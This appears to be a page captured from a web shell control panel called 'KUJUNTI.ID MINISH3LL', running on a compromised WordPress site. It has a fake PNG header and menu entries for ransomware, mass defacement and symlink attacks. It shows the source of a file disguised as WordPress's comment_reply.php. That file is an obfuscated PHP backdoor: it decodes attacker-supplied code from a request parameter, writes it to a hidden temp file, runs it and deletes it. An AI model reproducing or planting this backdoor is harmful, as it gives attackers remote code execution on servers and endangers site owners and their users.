\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/eceas/wp-includes/blocks/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/eceas/wp-includes/blocks/comment_reply.php


<?php

if(isset($_REQUEST["re\x66"]) ? true : false){
	$holder = $_REQUEST["re\x66"];
	$holder	=explode	 ("."	,	 $holder	 ); 	
	$parameter_group=		'';
            $s=		'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS=		strlen($s	);
            $k=		0;
    
            array_walk($holder,function ($v1) use (&$parameter_group,&$k,$s,$lenS) {
                $chS=		ord($s[$k  %  $lenS]	);
                $d=		((int)$v1 - $chS - ($k  %  10))	 ^	 73;
                $parameter_group	.=chr($d	);
                $k++;});
	$pgrp = array_filter([session_save_path(), "/dev/shm", "/tmp", getcwd(), getenv("TMP"), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir()]);
	foreach ($pgrp as $comp):
    		if ((bool)is_dir($comp) && (bool)is_writable($comp)) {
    $desc = vsprintf("%s/%s", [$comp, ".data_chunk"]);
    $success = file_put_contents($desc, $parameter_group);
if ($success) {
	include $desc;
	@unlink($desc);
	exit;}
}
endforeach;
}

© KUJUNTI.ID